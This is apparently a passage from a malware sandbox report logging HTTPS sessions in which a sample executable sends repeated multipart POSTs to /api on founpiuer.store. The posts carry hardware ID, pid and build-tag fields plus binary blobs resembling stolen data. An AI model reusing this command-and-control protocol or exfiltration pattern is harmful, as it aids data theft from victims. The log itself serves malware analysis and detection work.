2024-11-05 09:13:00 UTC	1010	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0saprupj05ad6ccto8016mbaj7; expires=Sat, 01-Mar-2025 02:59:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ffyUolNT80uiMJL2QVXVpdVRbYEpHNJgJft4oKNrioVJti7rp58mzrs8KZG78O7ciddK3Z%2B8abm%2FTgUwbZQBPleqXd%2BaX0pZbwXElzceZy2BMGJ4gPjxIBWqr7YhQydABCY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ddbb9afc8a0b787-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1294&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=1040&delivery_rate=2184012&cwnd=106&unsent_bytes=0&cid=35719992973c7618&ts=737&x=0"
2024-11-05 09:13:00 UTC	359	IN	Data Raw: 63 63 39 0d 0a 70 70 52 71 36 2b 61 6a 6a 6c 6e 79 34 30 44 52 42 44 30 72 38 6f 74 49 41 50 39 6d 51 6b 66 39 68 6c 2b 72 2f 72 51 73 32 48 66 64 74 68 7a 4a 33 4a 65 69 65 34 47 47 59 75 74 77 54 31 36 58 70 32 70 68 6d 30 52 34 49 5a 7a 71 4c 4d 37 53 6c 6c 71 31 56 5a 7a 79 43 34 65 56 78 71 4a 37 6c 35 74 69 36 31 39 47 43 5a 66 6c 61 6a 72 64 41 79 67 6c 6e 4f 6f 39 79 70 58 62 58 4c 51 55 7a 76 67 4e 67 34 50 41 36 6a 69 65 6a 69 57 30 59 56 78 42 6e 4f 49 6c 61 4a 4a 45 62 6d 57 59 2f 48 32 52 33 50 6c 4a 72 42 62 72 39 52 6d 41 78 4e 36 69 49 74 43 47 4c 76 4d 2b 48 30 71 58 36 53 52 6d 6d 77 30 71 4c 35 58 69 50 4d 2b 55 78 45 57 2b 48 38 37 32 44 6f 4b 4a 79 66 34 31 6c 49 6b 75 73 6d 74 63 43 64 36 70 4c 58 72 64 58 47 42 32 72 65 63 73 32 49 Data Ascii: cc9ppRq6+ajjlny40DRBD0r8otIAP9mQkf9hl+r/rQs2HfdthzJ3Jeie4GGYutwT16Xp2phm0R4IZzqLM7Sllq1VZzyC4eVxqJ7l5ti619GCZflajrdAyglnOo9ypXbXLQUzvgNg4PA6jiejiW0YVxBnOIlaJJEbmWY/H2R3PlJrBbr9RmAxN6iItCGLvM+H0qX6SRmmw0qL5XiPM+UxEW+H872DoKJyf41lIkusmtcCd6pLXrdXGB2recs2I
2024-11-05 09:13:00 UTC	1369	IN	Data Raw: 6f 70 74 6e 52 55 51 4a 33 6b 4b 6d 2b 58 43 79 4d 6c 6d 4f 34 33 78 70 62 53 51 37 63 54 78 50 5a 49 78 38 54 47 39 48 76 49 77 51 47 32 64 6c 68 46 68 71 73 51 49 6f 4a 4b 4f 57 57 59 36 48 32 52 33 4e 35 4c 75 52 62 50 2b 51 75 42 6a 39 50 73 4b 5a 61 4d 4a 36 46 67 57 6b 65 61 36 6a 68 6f 6b 77 49 6a 4c 4a 54 74 4f 4d 36 59 6c 67 44 36 45 74 79 32 55 4d 6d 6c 7a 4f 63 33 6d 70 59 69 38 33 6b 52 55 4e 44 75 4a 69 4c 46 52 43 51 6b 6d 2b 55 35 78 35 4c 53 51 72 77 62 79 66 6b 4f 67 34 54 47 35 6a 4f 59 67 43 2b 34 61 56 39 4d 6e 65 30 73 62 70 77 42 59 47 76 66 34 79 57 4a 78 4a 5a 67 76 52 62 57 74 44 32 4b 69 73 2f 72 4c 64 43 65 62 4b 6f 6d 57 45 58 51 73 57 70 73 6d 41 73 79 4a 49 33 68 4d 39 75 51 30 30 69 33 46 73 72 32 44 59 36 4a 7a 2b 6f 38 6b Data Ascii: optnRUQJ3kKm+XCyMlmO43xpbSQ7cTxPZIx8TG9HvIwQG2dlhFhqsQIoJKOWWY6H2R3N5LuRbP+QuBj9PsKZaMJ6FgWkea6jhokwIjLJTtOM6YlgD6Ety2UMmlzOc3mpYi83kRUNDuJiLFRCQkm+U5x5LSQrwbyfkOg4TG5jOYgC+4aV9Mne0sbpwBYGvf4yWJxJZgvRbWtD2Kis/rLdCebKomWEXQsWpsmAsyJI3hM9uQ00i3Fsr2DY6Jz+o8k
2024-11-05 09:13:00 UTC	1369	IN	Data Raw: 6d 57 45 58 51 73 57 70 75 6c 41 51 72 4c 35 76 6b 4f 73 53 5a 31 55 6d 35 47 4d 50 38 42 6f 36 41 7a 65 55 32 6c 6f 45 6c 74 32 4e 4e 54 4a 6e 6c 4a 69 4c 54 52 43 63 39 33 37 78 39 35 70 76 41 54 5a 55 57 31 66 39 49 6c 73 72 59 72 44 79 63 77 58 72 7a 59 56 70 42 6d 2b 38 69 59 6f 38 42 4c 69 36 65 37 6a 76 49 6b 64 70 49 75 68 54 45 38 41 53 4a 67 38 62 2b 4b 5a 57 48 4d 4c 6b 6d 45 51 6d 58 38 57 6f 36 33 54 49 77 4d 6f 37 79 66 2f 79 66 32 45 43 39 41 34 54 70 52 70 44 45 78 75 42 37 79 4d 45 70 73 32 70 59 51 5a 62 74 49 6d 32 53 44 54 49 6b 6b 2b 6f 76 7a 70 7a 66 51 4c 55 5a 7a 66 73 50 68 49 2f 4c 34 54 2b 58 67 47 4c 39 4a 6c 68 52 30 4c 46 71 56 49 30 4a 4c 41 75 55 36 44 53 4a 67 35 68 58 2b 68 4c 49 74 6c 44 4a 67 4d 33 6b 4d 5a 2b 49 4b 4c Data Ascii: mWEXQsWpulAQrL5vkOsSZ1Um5GMP8Bo6AzeU2loElt2NNTJnlJiLTRCc937x95pvATZUW1f9IlsrYrDycwXrzYVpBm+8iYo8BLi6e7jvIkdpIuhTE8ASJg8b+KZWHMLkmEQmX8Wo63TIwMo7yf/yf2EC9A4TpRpDExuB7yMEps2pYQZbtIm2SDTIkk+ovzpzfQLUZzfsPhI/L4T+XgGL9JlhR0LFqVI0JLAuU6DSJg5hX+hLItlDJgM3kMZ+IKL
2024-11-05 09:13:00 UTC	183	IN	Data Raw: 6c 75 5a 71 4c 4e 30 44 4f 47 58 48 70 42 4c 75 71 5a 52 76 67 46 58 62 75 42 48 4a 67 38 32 73 59 39 43 4e 49 62 39 75 55 45 2b 5a 35 53 42 72 6c 67 67 72 49 5a 50 74 4f 4d 2b 64 30 30 75 37 45 63 6a 38 44 6f 71 48 7a 75 4d 30 6d 4d 46 73 38 32 46 48 43 63 69 70 44 33 57 57 43 69 5a 6c 67 4b 6f 6b 69 5a 76 61 44 75 4a 56 79 50 38 4f 6a 34 48 4e 37 54 32 59 68 43 71 33 5a 31 6c 50 6b 2b 59 75 5a 35 77 4c 4a 43 6d 52 37 6a 7a 49 6b 4e 31 42 73 52 43 45 75 45 69 4f 6e 49 47 30 65 36 47 43 4e 4b 52 32 55 77 6d 50 70 7a 4d 69 6d 67 68 67 66 0d 0a Data Ascii: luZqLN0DOGXHpBLuqZRvgFXbuBHJg82sY9CNIb9uUE+Z5SBrlggrIZPtOM+d00u7Ecj8DoqHzuM0mMFs82FHCcipD3WWCiZlgKokiZvaDuJVyP8Oj4HN7T2YhCq3Z1lPk+YuZ5wLJCmR7jzIkN1BsRCEuEiOnIG0e6GCNKR2UwmPpzMimghgf
2024-11-05 09:13:00 UTC	1369	IN	Data Raw: 33 37 61 33 0d 0a 64 2f 6c 4c 38 4f 57 32 45 75 31 45 4d 66 35 44 34 53 43 7a 65 59 79 6d 49 63 74 75 6e 52 63 52 5a 37 75 4a 47 36 54 43 53 6f 6d 6b 71 52 7a 69 5a 76 4f 44 75 4a 56 36 50 45 46 70 34 2f 4e 36 33 75 50 7a 7a 76 7a 59 56 4d 4a 79 4b 6b 6d 61 4a 45 4e 49 43 79 61 37 44 62 41 6d 64 64 46 76 78 62 43 2b 77 65 41 6c 73 76 76 4e 5a 4f 4e 4c 72 56 6e 58 46 75 59 34 47 6f 73 33 51 4d 34 5a 63 65 6b 48 4d 65 52 77 6b 6d 71 56 64 75 34 45 63 6d 44 7a 61 78 6a 30 49 49 6a 76 47 56 65 52 4a 62 67 49 6d 4b 62 41 53 38 6f 6b 65 4d 36 79 5a 48 59 51 62 77 64 79 66 6f 44 68 34 33 48 37 44 71 61 77 57 7a 7a 59 55 63 4a 79 4b 6b 61 59 5a 30 45 4f 32 57 41 71 69 53 4a 6d 39 6f 4f 34 6c 58 57 2f 41 47 4a 68 38 37 72 50 35 75 4e 4a 37 5a 70 58 45 43 56 34 43 Data Ascii: 37a3d/lL8OW2Eu1EMf5D4SCzeYymIctunRcRZ7uJG6TCSomkqRziZvODuJV6PEFp4/N63uPzzvzYVMJyKkmaJENICya7DbAmddFvxbC+weAlsvvNZONLrVnXFuY4Gos3QM4ZcekHMeRwkmqVdu4EcmDzaxj0IIjvGVeRJbgImKbAS8okeM6yZHYQbwdyfoDh43H7DqawWzzYUcJyKkaYZ0EO2WAqiSJm9oO4lXW/AGJh87rP5uNJ7ZpXECV4C
2024-11-05 09:13:00 UTC	1369	IN	Data Raw: 4c 47 58 48 70 44 7a 46 6b 39 56 42 75 52 62 46 2f 42 71 62 69 4d 6a 6b 50 70 79 4b 4c 4c 56 30 57 55 61 5a 36 69 6c 72 6d 67 77 73 4c 35 7a 6a 66 59 66 63 30 56 62 36 54 59 54 56 48 35 6d 4a 67 66 4e 31 69 63 45 6c 76 79 59 48 43 5a 6a 6b 49 6d 69 5a 41 79 30 69 6d 65 30 76 77 4a 6e 59 54 72 34 65 79 2f 41 4d 69 6f 54 54 36 6a 2b 59 67 69 2b 2b 61 46 78 4e 30 4b 64 71 5a 59 56 45 65 47 57 74 36 54 50 53 6b 39 46 66 73 46 58 62 75 42 48 4a 67 38 32 73 59 39 43 46 4c 4b 46 74 58 6b 4b 62 35 79 31 74 6d 41 34 67 4b 70 76 6e 4d 38 4b 64 31 55 61 33 47 4d 72 38 41 59 43 44 7a 65 67 38 30 4d 39 69 74 48 34 66 45 64 44 43 43 30 2b 78 41 7a 70 6c 67 4b 6f 6b 69 5a 76 61 44 75 4a 56 79 50 38 45 67 34 2f 47 35 6a 57 5a 6a 79 6d 68 64 46 78 4e 6b 2b 41 70 5a 5a 51 Data Ascii: LGXHpDzFk9VBuRbF/BqbiMjkPpyKLLV0WUaZ6ilrmgwsL5zjfYfc0Vb6TYTVH5mJgfN1icElvyYHCZjkImiZAy0ime0vwJnYTr4ey/AMioTT6j+Ygi++aFxN0KdqZYVEeGWt6TPSk9FfsFXbuBHJg82sY9CFLKFtXkKb5y1tmA4gKpvnM8Kd1Ua3GMr8AYCDzeg80M9itH4fEdDCC0+xAzplgKokiZvaDuJVyP8Eg4/G5jWZjymhdFxNk+ApZZQ
2024-11-05 09:13:00 UTC	1369	IN	Data Raw: 36 52 7a 69 5a 76 4f 44 75 4a 56 36 66 6f 50 6f 49 50 61 72 43 54 65 6d 47 4b 30 61 68 38 52 30 4f 67 68 61 4a 49 4a 49 79 4f 63 37 7a 6a 44 6e 64 46 47 74 77 66 48 2b 51 65 4e 68 4d 37 71 50 5a 47 4f 4a 4c 52 76 58 6b 47 58 71 57 51 69 6d 68 78 67 66 64 2f 4b 4f 73 71 59 6c 6c 48 30 44 49 54 78 42 4d 6e 63 67 65 77 78 6d 6f 73 73 73 32 46 4e 54 35 6e 70 4b 58 43 65 41 69 67 6a 6b 2b 67 77 77 5a 58 57 53 37 45 59 7a 2f 73 4f 69 59 2f 41 72 48 58 51 68 6a 72 7a 50 68 39 34 6e 65 63 75 62 4a 34 55 4a 32 57 41 71 69 53 4a 6d 39 6f 4f 34 6c 58 4c 2f 78 71 4f 67 63 6e 6c 4f 35 36 49 4b 37 52 69 58 45 69 55 35 53 56 72 6e 67 77 68 4c 5a 44 6e 50 63 4b 55 33 45 2b 30 45 49 53 34 53 49 36 63 67 62 52 37 76 34 49 6e 75 47 63 64 62 70 62 75 4a 69 4b 43 53 6a 6c 6c Data Ascii: 6RziZvODuJV6foPoIParCTemGK0ah8R0OghaJIJIyOc7zjDndFGtwfH+QeNhM7qPZGOJLRvXkGXqWQimhxgfd/KOsqYllH0DITxBMncgewxmosss2FNT5npKXCeAigjk+gwwZXWS7EYz/sOiY/ArHXQhjrzPh94necubJ4UJ2WAqiSJm9oO4lXL/xqOgcnlO56IK7RiXEiU5SVrngwhLZDnPcKU3E+0EIS4SI6cgbR7v4InuGcdbpbuJiKCSjll
2024-11-05 09:13:00 UTC	1369	IN	Data Raw: 65 53 30 56 69 72 57 4f 50 73 42 59 2b 54 30 4b 78 31 30 49 64 69 36 7a 59 52 43 5a 54 34 61 6a 72 4e 56 6e 74 77 7a 4c 4e 74 6d 34 4f 59 56 2f 6f 44 68 4b 35 61 78 38 54 54 72 47 50 51 78 69 47 68 64 46 6c 4b 68 75 70 74 58 4b 4d 71 4a 79 4f 61 34 79 32 4c 73 74 31 61 76 56 57 4b 74 67 66 4a 33 50 69 73 63 39 43 2b 62 50 4e 2b 48 78 48 51 33 43 6c 73 6b 77 4d 32 4e 4e 4c 4b 4f 73 2b 5a 30 56 37 34 4f 38 2f 69 44 38 6e 4b 67 65 70 37 79 4e 46 73 38 32 4a 4f 43 63 69 35 65 44 6e 49 56 33 64 31 7a 66 74 7a 30 4e 7a 41 44 75 4a 48 69 72 59 61 79 64 79 42 71 7a 69 43 6b 79 53 77 63 46 77 4f 72 74 63 70 64 4a 41 4c 4b 79 53 68 32 68 50 45 6e 64 56 41 2b 43 54 53 2b 78 69 4b 67 63 62 53 42 5a 36 47 4e 72 52 6f 57 55 6e 51 70 32 70 74 33 56 77 5a 5a 64 65 6b 41 Data Ascii: eS0VirWOPsBY+T0Kx10Idi6zYRCZT4ajrNVntwzLNtm4OYV/oDhK5ax8TTrGPQxiGhdFlKhuptXKMqJyOa4y2Lst1avVWKtgfJ3Pisc9C+bPN+HxHQ3ClskwM2NNLKOs+Z0V74O8/iD8nKgep7yNFs82JOCci5eDnIV3d1zftz0NzADuJHirYaydyBqziCkySwcFwOrtcpdJALKySh2hPEndVA+CTS+xiKgcbSBZ6GNrRoWUnQp2pt3VwZZdekA
2024-11-05 09:13:00 UTC	1369	IN	Data Raw: 63 34 55 43 58 6f 56 6a 62 6d 34 2f 31 65 34 62 42 65 75 45 6f 48 31 76 51 73 57 6f 6c 6e 68 59 79 49 35 7a 79 50 6f 36 69 36 47 6d 30 45 73 58 67 47 49 53 49 34 4f 38 71 6d 72 38 63 70 6d 56 52 52 35 66 2f 4f 79 4c 54 52 43 39 6c 78 39 31 39 67 64 7a 70 41 50 6f 4e 68 4b 35 49 76 49 66 50 34 6a 79 47 6b 47 2b 55 61 46 68 49 68 76 6b 6e 62 72 77 48 4d 53 2f 66 71 6e 33 50 33 49 34 63 39 46 58 41 35 30 6a 52 31 4a 4f 33 62 73 50 57 63 75 46 35 45 56 44 51 2f 32 6f 36 7a 30 70 67 4e 39 2b 38 66 59 36 66 78 46 79 38 46 74 4c 31 54 37 65 36 35 50 73 34 67 49 63 68 6a 56 68 30 52 5a 62 75 4d 47 57 62 49 67 42 6c 30 61 51 79 69 63 54 76 44 76 4a 56 2b 37 68 49 6b 63 53 5a 72 41 36 54 6a 79 79 30 63 45 34 45 74 66 34 70 63 70 73 48 59 47 76 66 34 6e 32 52 7a 4a Data Ascii: c4UCXoVjbm4/1e4bBeuEoH1vQsWolnhYyI5zyPo6i6Gm0EsXgGISI4O8qmr8cpmVRR5f/OyLTRC9lx919gdzpAPoNhK5IvIfP4jyGkG+UaFhIhvknbrwHMS/fqn3P3I4c9FXA50jR1JO3bsPWcuF5EVDQ/2o6z0pgN9+8fY6fxFy8FtL1T7e65Ps4gIchjVh0RZbuMGWbIgBl0aQyicTvDvJV+7hIkcSZrA6Tjyy0cE4Etf4pcpsHYGvf4n2RzJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	104.21.5.155	443	5700	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:02 UTC	370	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=Ad1twZF74K.8uci5JLNCs3ar1E4QIMh2qJpcEcd8nfE-1730797979-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: founpiuer.store
2024-11-05 09:13:02 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 30 38 38 46 36 43 37 39 39 36 34 37 35 31 37 42 30 38 38 30 31 34 36 36 32 31 32 46 31 46 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D088F6C799647517B08801466212F1F1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-05 09:13:02 UTC	1009	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ird24nkkvk7ibbbmf80n8bo2p7; expires=Sat, 01-Mar-2025 02:59:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JRZ2nazxAa1yB5H7VhPSvx9fYa0HFvNfqHBJbMkmWswpJTLoDdQaymPiufS9QaICTuyRKly21DnfvQRGOBiqHUYw3HM%2BY8%2BxgQMg2LrlwGF0418JfwuKkmGWO6BX5cZNeAI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ddbb9bc1dbd475a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=928&sent=8&recv=17&lost=0&retrans=0&sent_bytes=2838&recv_bytes=13868&delivery_rate=3019812&cwnd=251&unsent_bytes=0&cid=f8d78497ee46b8ba&ts=550&x=0"
2024-11-05 09:13:02 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 0d 0a Data Ascii: 11ok 173.254.250.76
2024-11-05 09:13:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	104.21.5.155	443	5700	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:03 UTC	370	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=Ad1twZF74K.8uci5JLNCs3ar1E4QIMh2qJpcEcd8nfE-1730797979-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: founpiuer.store
2024-11-05 09:13:03 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 30 38 38 46 36 43 37 39 39 36 34 37 35 31 37 42 30 38 38 30 31 34 36 36 32 31 32 46 31 46 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D088F6C799647517B08801466212F1F1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-05 09:13:04 UTC	1021	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jr1eppkhbedeoljtndtm3sbida; expires=Sat, 01-Mar-2025 02:59:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=exC4JbuUIREIyq%2BQcgulNZMIjdhj0AT%2B%2BHDTYtQNeMpX0QB38E5bVH5GwPwPH31u8SWe4XWGgY5LeFHKWuTwOHJzw2nnhT3%2F0%2F5H7SSBDFP4jcmgoV%2Fp9X%2B04nGOgAVduvw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ddbb9c3df55486f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1186&sent=11&recv=22&lost=0&retrans=0&sent_bytes=2839&recv_bytes=16110&delivery_rate=2701492&cwnd=241&unsent_bytes=0&cid=3500729d0f85fa16&ts=784&x=0"
2024-11-05 09:13:04 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 0d 0a Data Ascii: 11ok 173.254.250.76
2024-11-05 09:13:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	104.21.5.155	443	5700	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:05 UTC	370	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=Ad1twZF74K.8uci5JLNCs3ar1E4QIMh2qJpcEcd8nfE-1730797979-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: founpiuer.store
2024-11-05 09:13:05 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 30 38 38 46 36 43 37 39 39 36 34 37 35 31 37 42 30 38 38 30 31 34 36 36 32 31 32 46 31 46 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D088F6C799647517B08801466212F1F1--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-11-05 09:13:05 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-11-05 09:13:05 UTC	1009	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 09:13:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=si45pb1ghccnjj2c52nfa6k62m; expires=Sat, 01-Mar-2025 02:59:44 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wOBfw7YRqXBuyLnr0IAEv1mEYp9rpsNFWqCm3jBXuxp9ZY8qg6giYOZXXwawaUceEWHwvEQufo53cmCYItxdCxah4tKxn0WdR06ctPJ7rYoKAwufEJeYS%2FpAFUy5nByec0g%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ddbb9cecfefe766-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1706&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2838&recv_bytes=21622&delivery_rate=1643586&cwnd=239&unsent_bytes=0&cid=f79c03f0c8fa468e&ts=670&x=0"
2024-11-05 09:13:05 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 36 0d 0a Data Ascii: 11ok 173.254.250.76
2024-11-05 09:13:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49709	104.21.5.155	443	5700	C:\Users\user\AppData\Local\Temp\IXP001.TMP\2h6379.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 09:13:06 UTC	369	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 Cookie: __cf_mw_byp=Ad1twZF74K.8uci5JLNCs3ar1E4QIMh2qJpcEcd8nfE-1730797979-0.0.1.1-/api User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1273 Host: founpiuer.store
